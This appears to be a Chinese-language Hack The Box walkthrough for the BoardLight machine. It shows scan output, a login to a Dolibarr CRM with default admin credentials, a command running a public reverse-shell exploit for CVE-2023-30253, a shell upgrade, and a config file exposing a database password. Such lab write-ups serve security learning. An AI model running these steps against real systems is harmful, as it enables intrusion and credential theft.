HacktheBox-BoardLight

Natro922024-08-042024-08-04

信息搜集

start infoscan
10.10.11.11:80 open
10.10.11.11:22 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.10.11.11        code:200 len:15949  title:None

只有一个 80 入口。
扫下目录：

gobuster dir -u http://10.10.11.11/ -w /usr/share/wordlists/dirb/common.txt -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.11/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 276]
/.hta                 (Status: 403) [Size: 276]
/.hta.php             (Status: 403) [Size: 276]
/.htpasswd            (Status: 403) [Size: 276]
/.htaccess            (Status: 403) [Size: 276]
/.htaccess.php        (Status: 403) [Size: 276]
/.htpasswd.php        (Status: 403) [Size: 276]
/about.php            (Status: 200) [Size: 9100]
/contact.php          (Status: 200) [Size: 9426]
/css                  (Status: 301) [Size: 308] [--> http://10.10.11.11/css/]                                                                 
/do.php               (Status: 200) [Size: 9209]
/images               (Status: 301) [Size: 311] [--> http://10.10.11.11/images/]                                                              
/index.php            (Status: 200) [Size: 15949]
/index.php            (Status: 200) [Size: 15949]
/js                   (Status: 301) [Size: 307] [--> http://10.10.11.11/js/]                                                                  
/server-status        (Status: 403) [Size: 276]

没啥重要的东西。再扫下子域名。（在之前要先把域名加入/etc/hosts）

1	gobuster vhost -u http://board.htb --append-domain -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

扫出了一个crm.board.htb

把这个也添加到 hosts 文件里面。进入发现是一个登录框。
admin/admin直接进去。

EXP： GitHub - nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253: Reverse Shell POC exploit for Dolibarr <= 17.0.0 (CVE-2023-30253), PHP Code Injection

直接弹 Shell。

1	python3 exploit.py http://crm.board.htb admin admin 10.10.16.20 7777

后渗透

加固下 Shell：

1	python3 -c 'import pty;pty.spawn("/bin/bash")'

找到 dolibarr 的配置文件位置：

$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
// Authentication settings
$dolibarr_main_authentication='dolibarr';